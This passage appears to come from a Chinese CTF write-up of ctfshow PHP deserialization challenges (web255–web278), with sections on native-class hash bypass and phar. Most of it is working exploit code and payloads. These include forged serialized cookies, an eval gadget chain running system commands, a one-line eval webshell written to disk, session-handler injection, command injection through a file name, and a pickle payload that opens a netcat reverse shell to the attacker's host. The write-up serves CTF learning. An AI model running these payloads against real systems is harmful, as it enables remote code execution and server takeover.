}
\u200b
$username=$_GET['username'];
$password=$_GET['password'];
\u200b
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo \"no vip,no flag\";
    }
}
\u53cd\u5e8f\u5217\u5316\u53ef\u4ee5\u76f4\u63a5\u5199\u51fa\u6765(\u53ea\u8981\u8ba9isVip=true\u5373\u53ef)(\u8bb0\u5f97url\u7f16\u7801)\uff1a
GET username=xxxxxx&password=xxxxxx
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D<\/pre>\n\n\n\n
web256<\/h3>\n\n\n\n
include('flag.php');
\u200b
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
\u200b
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo \"your flag is \".$flag;
              }
        }else{
            echo \"no vip, no flag\";
        }
    }
}
\u200b
$username=$_GET['username'];
$password=$_GET['password'];
\u200b
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo \"no vip,no flag\";
    }
}
<?php
    class ctfShowUser{
        public $isVip=true;
        public $username='wea5e1';
        public $password='hhhh';
    }
    $a = new ctfShowUser();
    echo urlencode(serialize($a));\/\/\u4ee3\u7801\u76f4\u63a5\u5ba1\u8ba1\u51fa\u6765
GET: username=wea5e1&password=hhhh
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22wea5e1%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22hhhh%22%3B%7D<\/pre>\n\n\n\n
web257<\/h3>\n\n\n\n
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
\u200b
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
\u200b
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
\u200b
$username=$_GET['username'];
$password=$_GET['password'];
\u200b
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
\u8981\u51fa\u6765flag\uff0c\u9700\u8981\u4f7f\u7528eval\u8fd9\u4e2a\u547d\u4ee4\uff0ceval->backDoor,\u90a3\u4e48\u5982\u4f55\u8981\u4f7f\u7528backDoor\u8fd9\u4e2a\u7c7b\u5462\uff0c\u76f4\u63a5\u4f7f\u7528__construct\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5
<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
\u200b
    public function __construct(){
        $this->class=new backDoor();
    }
\u200b
}
\u200b
class backDoor{
    private $code=\"system('tac f*');\";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D<\/pre>\n\n\n\n
web258<\/h3>\n\n\n\n
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
\u200b
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
\u200b
}
\u200b
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
\u200b
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
\u200b
$username=$_GET['username'];
$password=$_GET['password'];
\u200b
if(isset($username) && isset($password)){
    if(!preg_match('\/[oc]:\\d+:\/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
\u548c\u524d\u9762\u7684\u57fa\u672c\u6ca1\u6709\u533a\u522b\uff0c\u5c31\u662f\u591a\u4e86\u4e00\u4e2awaf
\u7ed9\u524d\u9762\u7684\u4ee3\u7801\u52a0\u4e2a$a = serialize($a);
$a = str_replace('O:','O:+',$a);\u5373\u53ef\uff0c\u8bb0\u5f97echo urlencode($a);\u8fd9\u4e2a<\/pre>\n\n\n\n
web259<\/h3>\n\n\n\n
\u8fd9\u4e2a\u8981\u4f7f\u7528ssrf\uff0c\u4ee5\u540e\u6253<\/p>\n\n\n\n
web260<\/h3>\n\n\n\n
<?php
\u200b
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
\u200b
if(preg_match('\/ctfshow_i_love_36D\/',serialize($_GET['ctfshow']))){
    echo $flag;
}
\u55ef\uff0c\u76f4\u63a5\u5199\u53cd\u5e8f\u5217\u5316\u5c31\u884c
ctfshow=O:18:ctfshow_i_love_36D{},\u76f4\u63a5\u51fa\u6765<\/pre>\n\n\n\n
web261<\/h3>\n\n\n\n
\u524d\u7f6e\u77e5\u8bc6<\/p>\n\n\n\n
\u5728php7.4.0\u5f00\u59cb\uff0c\u5982\u679c\u7c7b\u4e2d\u540c\u65f6\u5b9a\u4e49\u4e86 unserialize() \u548c<\/strong> wakeup() \u4e24\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u5219\u53ea\u6709 unserialize() \u65b9\u6cd5\u4f1a\u751f\u6548\uff0c<\/strong>wakeup() \u65b9\u6cd5\u4f1a\u88ab\u5ffd\u7565\u3002<\/p>\n\n\n\n
<?php
\u200b
highlight_file(__FILE__);
\u200b
class ctfshowvip{
    public $username;
    public $password;
    public $code;
\u200b
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
\u200b
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
unserialize($_GET['vip']);
\u7136\u540e\uff0cincoke\u4e5f\u65e0\u6cd5\u4f7f\u7528\uff0c\u53ea\u80fd\u9760\u6211\u4eec\u7684file_put_contents\u5927\u4eba\u4e86
$this->code = $this->username.$this->password; \u5f31\u7c7b\u578b\u6bd4\u8f83\uff0c\u53ea\u8981\u524d\u9762\u7684\u662f877\u5c31\u884c
<?php
class ctfshowvip{
    public $username=\"877.php\";
    public $password='<?php @eval($_POST[a]); ?>';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
\/\/vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A26%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B+%3F%3E%22%3B%7D
\/\/\u7136\u540e\u8bbf\u95ee877.php\uff0cRCE\u6216\u8005\u8681\u5251\u8fde\u63a5<\/pre>\n\n\n\n
web262<\/h3>\n\n\n\n
ok\uff0c\u5230\u91cd\u70b9\u4e86\uff0c\u5b57\u7b26\u4e32\u9003\u9038<\/p>\n\n\n\n
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
\u200b
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
\u200b
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
\u200b
highlight_file(__FILE__);
\u8fd9\u91cc\u626b\u63cf\u51fa\u6765\u4e86\u4e00\u4e2amessage.php
include('flag.php');
\u200b
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
\u200b
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
\u8981\u6c42token\u7684\u503c\u4e3aadmin,\u8fd9\u91cc\u5c31\u662f\u8981\u9003\u9038\";s:5:\"token\";s:5:\"admin\";}
\u4e0a\u9762\u662ffuck -> loveU \u9003\u9038\u4e86\u4e00\u4e2a\u5b57\u7b26\u4e32 27\u4e2a\u5b57\u7b26\uff0c\u898127\u4e2afuck\u4e86
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\";s:5:\"token\";s:5:\"admin\";} \u7136\u540e\u8bbf\u95eemessage.php ok\u4e86<\/pre>\n\n\n\n
web263<\/h3>\n\n\n\n
\u8fdb\u884c\u626b\u63cf\u51fa\u6765\u662fwww.zip,\u7136\u540e\u770b<\/p>\n\n\n\n
inc.php<\/p>\n\n\n\n
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents(\"log-\".$this->username, \"\u4f7f\u7528\".$this->password.\"\u767b\u9646\".($this->status?\"\u6210\u529f\":\"\u5931\u8d25\").\"----\".date_create()->format('Y-m-d H:i:s'));
    }
}\u6709\u7684\u6ca1\u6709\u7528\u4e86\uff0c\u5c31\u4e0d\u590d\u5236\u4e86
\u63a5\u4e0b\u6765\u53ea\u80fd\u9760\u6211\u4eec\u7684file_put_contents\u5927\u4eba\u4e86<\/pre>\n\n\n\n
index.php<\/p>\n\n\n\n
if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die(\"\u767b\u9646\u5931\u8d25\u6b21\u6570\u8d85\u8fc7\u9650\u5236\"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie(\"limit\",base64_encode('1'));
         $_SESSION['limit']= 1;
    }
    
?>
\u55ef\uff0cbase64\u89e3\u5bc6\uff0c\u56e0 inc\/inc.php \u5b58\u5728 ini_set(\u2018session.serialize_handler\u2019, \u2018php\u2019); \u548c session_start(); \uff0c\u53ea\u8981\u8bbf\u95ee\u5373\u4f1a\u83b7\u53d6\u4e4b\u524d\u5199\u5165\u7684 session \u6570\u636e\uff0c\u7136\u540e check.php \u5305\u542b inc\/inc.php \uff0c\u5373\u4f1a\u89e6\u53d1 User\u7c7b \u7684 __destruct\u65b9\u6cd5 \uff0c\u4ece\u800c\u628a\u6076\u610f\u6570\u636e\u901a\u8fc7 file_put_contents \u5199\u5165\u540d\u4e3a log-$this.username \uff0c\u5185\u5bb9\u4e3a $this.password \u7684\u6587\u4ef6
\u52a0 '|' \u662f\u56e0\u4e3a session.serialize_handler \u4f7f\u7528 php\u5f15\u64ce \uff0csession \u5173\u8054\u6570\u7ec4\u7684 key \u548c value \u662f\u901a\u8fc7 '|' \u533a\u5206\u7684\uff0c value \u662f\u9700\u8981\u88ab\u53cd\u5e8f\u5217\u5316\u7684\u90e8\u5206\u3002\u7136\u540e\u9ed8\u8ba4\u4e0d\u662f\u7528 php \u5f15\u64ce\uff0c\u6240\u4ee5\u5199\u5165\u662f\u6b63\u5e38\u5b57\u7b26\u4e32\uff0c\u5728 inc\/inc.php \u8fd9\u8bfb\u53d6\u8bed\u4e49\u53c8\u4e0d\u4e00\u6837\u4e86
<?php
class User
{
    public $username;
    public $password;
    function __construct()
    {
        $this->username = 'my6n.php';
        $this->password = '<?php system(\\'tac flag.php\\')?>';
    }
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));\u5199\u547d\u4ee4
\u7136\u540e\u8bbf\u95eeindex.php\u9875\u9762\uff0c\u8bb2\u53cd\u5e8f\u5217\u5316\u6570\u636e\u901a\u8fc7cookie\u91cc\u9762\u7684session\u4f20\u8fdb\u53bb\uff0c\u7136\u540e\u8bbf\u95eecheck.php\u9875\u9762\uff0c\u8bb0\u5f97\u6539session\u91cc\u9762\u7684\u503c\u4e3aMQ==\u5c31\u662f1(nnd,\u6211\u8bf4\u600e\u4e48\u6ca1\u6709\u51fa\u6765)\uff0c\u5c31\u662f\u901a\u8fc7check.php\u5305\u542binc.php\uff0c\u4ece\u800c\u89e6\u53d1__destruct\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u6210\u529f\u5199\u5165\uff0c\u4ece\u800c\u5f62\u6210RCE\uff0c\u6210\u529f\u51fa\u6765flag<\/pre>\n\n\n\n
web264<\/h3>\n\n\n\n
\u4e0e262\u7684\u505a\u6cd5\u57fa\u672c\u4e00\u6837\uff0c\u4e0d\u8fc7cookie\u8981\u52a0msg=a\u8fd9\u4e2a\u503c<\/p>\n\n\n\n
web265<\/h3>\n\n\n\n
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
\u200b
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
\u200b
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
\u200b
if($ctfshow->login()){
    echo $flag;
}<\/pre>\n\n\n\n
\u55ef\uff0c\u8981\u8ba9token\u7684\u503c===password\u7684\u503c\uff0c\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528\u5730\u5740\u8c03\u7528<\/p>\n\n\n\n
<?php
class ctfshowAdmin{
    public $token;
    public $password;
\u200b
    public function __construct(){
        $this->token='wea5e1';
        $this->password = & $this -> token;
    }
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));<\/pre>\n\n\n\n
web266<\/h3>\n\n\n\n
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('\/ctfshow\/', $cs)){
    throw new Exception(\"Error $ctfshowo\",1);
}<\/pre>\n\n\n\n
\u548c\u9760\u524d\u9762\u7684\u5173\u57fa\u672c\u5dee\u4e0d\u591a\uff0c\u5c31\u662f\u8fc7\u6ee4\u4e86ctfshow\uff0c\u5927\u5c0f\u5199\u7ed5\u8fc7\u5c31\u884c\uff0c\u4e0d\u8fc7\u8bb0\u5f97\u5728bp\u91cc\u9762\u76f4\u63a5POST\u4f20<\/p>\n\n\n\n
<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
$a = new ctfshow();
$a = serialize($a);
$a = str_replace('ctfshow','CTFSHOW',$a);
echo $a;<\/pre>\n\n\n\n
web267-web274<\/h3>\n\n\n\n
\u4e0d\u4f1a\uff0c\u665a\u70b9\u518d\u5199<\/p>\n\n\n\n
web275<\/h3>\n\n\n\n
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
\u200b
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('\/php|\\.\\.\/i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('\/flag\/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}
\u200b
if(isset($_GET['fn'])){
    $content = file_get_contents('php:\/\/input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'\/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}
\u200b
where is flag?
\u8fd9\u4e2a\u6ca1\u6709\u770b\u61c2\uff0csystem('rm '.$this->filename);\u76f4\u63a5\u5728\u8fd9\u91cc\u4f20\u5c31\u884c
fn=php;tac flag.php<\/pre>\n\n\n\n
web277-web278<\/h3>\n\n\n\n
\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0<\/p>\n\n\n\n
\/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)<\/pre>\n\n\n\n
\u662fpickle\uff0c\u770b\u4e86\u770b\u53d1\u73b0\u662fpickle\u53cd\u5e8f\u5217\u5316\uff0c\u7136\u540e\u7b80\u5355\u5b66\u4e86\u5b66\uff0c\u5148\u4e0d\u8bb2\u4e86\uff0c\u76f4\u63a5\u4e0apayload\uff0c\u6b63\u597d\u6700\u8fd1\u4e5f\u662f\u5f04\u4e0a\u4e86\u53cd\u5f39shell,\u5f04\u4e0a\u53bb<\/p>\n\n\n\n
import pickle
import base64
\u200b
class cmd():
    def __reduce__(self):
        return (eval,(\"__import__('os').popen('nc xxx.xxx.xxx.xxx xxxx -e \/bin\/sh').read()\",))
c = cmd()
a = pickle.dumps(c)
print(base64.b64encode(a))\/\/x\u662f\u5173\u4e8e\u4f60\u670d\u52a1\u5668\u7684\u4e1c\u897fip\u548c\u7aef\u53e3
\u7136\u540e\u76f4\u63a5\u53cd\u5f39shell\uff0c\u5728finalshell\u5de5\u5177\u4e0a\u9762\u8fdb\u884cRCE\uff0cls + cat 'ls'\u76f4\u63a5\u51fa\u6765<\/pre>\n\n\n\n
278\u548c\u8fd9\u4e2apayload\u4e00\u6837\uff0c\u4ed6\u662f\u76f4\u63a5\u8fc7\u6ee4os.system\u7684\uff0c\u5173\u6211nc\u4ec0\u4e48\u4e8b\u60c5<\/p>\n\n\n\n
\u539f\u751f\u7c7b<\/h2>\n\n\n\n
Error<\/h3>\n\n\n\n
hash<\/h4>\n\n\n\n
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match(\"\/\\<\\?php|\\(|\\)|\\\"|\\'\/\", $this->syc, $match)){
               eval($this->syc);
           } else {
               die(\"Try Hard !!\");
           }
\u200b
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
\u2022<\/pre>\n\n\n\n
\u9700\u8981\u7ed5\u8fc7\u4e24\u4e2ahash\u5f3a\u6bd4\u8f83\uff0c\u4e14\u6700\u7ec8\u9700\u8981\u6784\u9020eval\u4ee3\u7801\u6267\u884c<\/p>\n\n\n\n
\u663e\u7136\u6b63\u5e38\u65b9\u6cd5\u662f\u884c\u4e0d\u901a\u7684\uff0c\u800c\u901a\u8fc7\u539f\u751f\u7c7b\u53ef\u8fdb\u884c\u7ed5\u8fc7<\/p>\n\n\n\n
\u540c\u6837\uff0c\u5f53md5()\u548csha1()\u51fd\u6570\u5904\u7406\u5bf9\u8c61\u65f6\uff0c\u4f1a\u81ea\u52a8\u8c03\u7528__tostring\u65b9\u6cd5<\/p>\n\n\n\n
\u5148\u7b80\u5355\u770b\u4e00\u4e0b\u5176\u8f93\u51fa<\/p>\n\n\n\n
Error: payload in D:\\phpstudy_pro\\WWW\\csysl_hash.php:2 Stack trace: #0 {main} Error: payload in D:\\phpstudy_pro\\WWW\\csysl_hash.php:2 Stack trace: #0 {main} Exception: payload in D:\\phpstudy_pro\\WWW\\csysl_hash.php:3 Stack trace: #0 {main} Exception: payload in D:\\phpstudy_pro\\WWW\\csysl_hash.php:3 Stack trace: #0 {main}<\/p>\n\n\n\n
\u53ef\u4ee5\u53d1\u73b0\uff0c\u8fd9\u4e24\u4e2a\u539f\u751f\u7c7b\u8fd4\u56de\u7684\u4fe1\u606f\u9664\u4e86\u884c\u53f7\u4e00\u6a21\u4e00\u6837\uff0c\u5229\u7528\u8fd9\u70b9\uff0c\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u8fdb\u884chash\u51fd\u6570\u7684\u7ed5\u8fc7\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5fc5\u987b\u5c06\u4e24\u4e2a\u4f20\u5165\u7684\u5bf9\u8c61\u653e\u5230\u540c\u4e00\u884c<\/p>\n\n\n\n
\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u8fdb\u884c\u7b80\u5355\u7684\u6d4b\u8bd5,\u53d1\u73b0\u4f7f\u7528\u6b64\u65b9\u6cd5\u53ef\u4ee5\u7ed5\u8fc7hash\u5f3a(\u5f31)\u51fd\u6570\u6bd4\u8f83<\/p>\n\n\n\n
<?php
$a = new Error(\"payload\",1);$b = new Error(\"payload\",2);
if ($a!=$b){
    echo '$a\u4e0d\u7b49\u4e8e$b'.\"\\n\";
}
if (md5($a)===md5($b)){
    echo \"md5\u503c\u76f8\u7b49\\n\";
}
if (sha1($a)===sha1($b)){
    echo \"sha1\u503c\u76f8\u7b49\";
}
\/\/$a\u4e0d\u7b49\u4e8e$b md5\u503c\u76f8\u7b49 sha1\u503c\u76f8\u7b49<\/pre>\n\n\n\n
\u53d1\u73b0\u7ed5\u8fc7\u4e86\uff0c\u90a3\u4e48\u597d\uff0c\u5c31\u77e5\u9053\u63a5\u4e0b\u6765\u8981\u5e72\u4ec0\u4e48\u4e86<\/p>\n\n\n\n
\u7531\u4e8e\u8fdb\u884c\u8fc7\u6ee4\u4e86,\u5728\u8fd9\u91cc\u4f7f\u7528\u6587\u4ef6\u5305\u542b\u6765\u505a\uff0c\u6267\u884c<?=include ‘flag.txt’?>(\u672c\u5730\u6d4b\u8bd5) \u8fd9\u4e2a\u547d\u4ee4<\/p>\n\n\n\n
<?php
class SYCLOVER {
    public $syc;
    public $lover;
}
$str = \"?><?=include~\".urldecode(\"%99%93%9E%98%D1%8B%87%8B\").\"?>\";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
\u200b
?>\/\/O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A23%3A%22%3F%3E%3C%3F%3Dinclude%7E%99%93%9E%98%D1%8B%87%8B%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A34%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Ccsysl_hash.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A7%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A23%3A%22%3F%3E%3C%3F%3Dinclude%7E%99%93%9E%98%D1%8B%87%8B%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A34%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Ccsysl_hash.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A7%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D<\/pre>\n\n\n\n
Warning<\/strong>: Use of undefined constant \ufffd\ufffd\ufffd\ufffd\u044b\ufffd\ufffd – assumed ‘\ufffd\ufffd\ufffd\ufffd\u044b\ufffd\ufffd’ (this will throw an Error in a future version of PHP) in D:\\phpstudy_pro\\WWW\\ysl_hash.php(8) : eval()’d code<\/strong> on line 1<\/strong> flag{is_123}1 in D:\\phpstudy_pro\\WWW\\csysl_hash.php:7 Stack trace: #0 {main} \u51fa\u6765flag\u5566<\/p>\n\n\n\n
\u9e4f\u4e91\u676f\u2014\u2014EZ_ser<\/h3>\n\n\n\n
\u7a0d\u5fae\u9b54\u6539\u4e86\u4e00\u4e0b<\/p>\n\n\n\n
<?php
\u200b
class DataBaseCon{
    public $user;
    public $hello;
    public function __invoke()
    {
        ($this->user)->lover($this->hello);
    }
\u200b
}
\u200b
class FileHandle{
    public $lover;
    public function __toString()
    {
        $func=$this->lover;
        $func();
        return \"\";
    }
}
\u200b
class WafWaf{
    public $a;
    public $b;
    public $c;
    public $d;
    public function __call($func,$args)
    {
        if(!preg_match(\"\/exec|system|shell_exec|popens|popen|curl_exec|curl_multi_exec|proc_open|proc_POST_status|readfile|unlink|dl|memory_POST_usage|passthru|pcntl_exec|mail|imap_open|imap_mail|putenv|ini_set|apache_setenv|symlink|linkopen_basedir|eval|assert|create_function|array_map|call_user_func_array|array_filter|uasort|preg_replace\/i\", $this->b)){
            $a=new $args[0]($this->b);
            $c=$this->c;
            $a->$c($this->d);
        }
        else {
            die(\"waf\");
        }
    }
}
\u200b
\u200b
class WebInfo{
    public $web;
    public $syc;
    public $lover;
    public function  __wakeup()
    {
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
        {
\u200b
            eval($this->syc);
        }
    }
}
\u200b
if (isset($_GET['pop'])){
    unserialize($_GET['pop']);
} else {
    highlight_file(__FILE__);
}<\/pre>\n\n\n\n
<?php
\u200b
class DataBaseCon { public $user; public $hello; }
class FileHandle  { public $lover; }
class WafWaf      { public $a; public $b; public $c; public $d; }
class WebInfo     { public $web; public $syc; public $lover; }
\u200b
$waf = new WafWaf();
$waf->b = \"highlight_file\";
$waf->c = \"invoke\";
$waf->d = \"flag\";
\u200b
$db = new DataBaseCon();
$db->user  = $waf;
$db->hello = \"ReflectionFunction\"; \/\/ \u53cd\u5c04\u51fd\u6570\u7c7b
\u200b
$file = new FileHandle();
$file->lover = $db;
\u200b
$web = new WebInfo();
$web->web   = $file;
$web->syc   = [0,2];
$web->lover = [0,1];
\u200b
echo serialize($web);<\/pre>\n\n\n\n
Warning<\/strong>: Use of undefined constant \ufffd\ufffd\ufffd\ufffd\u044b\ufffd\ufffd – assumed ‘\ufffd\ufffd\ufffd\ufffd\u044b\ufffd\ufffd’ (this will throw an Error in a future version of PHP) in D:\\phpstudy_pro\\WWW\\pyb_ser.php(51) : eval()’d code<\/strong> on line 1<\/strong> flag{is_123}1 in D:\\phpstrom-php\\php\u4ee3\u7801\\error.php:48 Stack trace: #0 {main}<\/p>\n\n\n\n
waf\u7ed5\u8fc7<\/h2>\n\n\n\n
phar\u53cd\u5e8f\u5217\u5316<\/h2>\n\n\n\n
Phar \u662f PHP \u7684\u538b\u7f29\u6587\u6863\uff0c\u662f PHP \u4e2d\u7c7b\u4f3c\u4e8e JAR \u7684\u4e00\u79cd\u6253\u5305\u6587\u4ef6\uff0c\u4ed6\u53ef\u4ee5\u628a\u591a\u4e2a\u6587\u4ef6\u5b58\u653e\u5230\u540c\u4e00\u4e2a\u6587\u4ef6\u4e2d\uff0c\u65e0\u9700\u89e3\u538b\uff0cPHP \u5c31\u53ef\u4ee5\u8fdb\u884c\u8bbf\u95ee\u5e76\u6267\u884c\u5185\u90e8\u8bed\u53e5<\/p>\n\n\n\n
\u8981\u6c42\u662fphp\u7248\u672c\u5927\u4e8e5.3<\/p>\n\n\n\n
\u5206\u522b\u5206\u4e3a\u56db\u4e2a\u90e8\u5206<\/p>\n\n\n\n
1\u3001Stub      \/\/Phar\u6587\u4ef6\u5934
2\u3001manifest  \/\/\u538b\u7f29\u6587\u4ef6\u4fe1\u606f
3\u3001contents  \/\/\u538b\u7f29\u6587\u4ef6\u5185\u5bb9
4\u3001signature \/\/\u7b7e\u540d<\/pre>\n\n\n\n
Sutb<\/h3>\n\n\n\n
\u5176\u4e2d Stub \u662f Phar \u7684\u6587\u4ef6\u6807\u8bc6\uff0c\u4e5f\u53ef\u4ee5\u7406\u89e3\u4e3a\u5b83\u5c31\u662f Phar \u7684\u6587\u4ef6\u5934 Stub \u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u7b80\u5355\u7684 PHP \u6587\u4ef6\uff0c\u5bf9\u683c\u5f0f\u6709\u8981\u6c42\u7684<\/p>\n\n\n\n
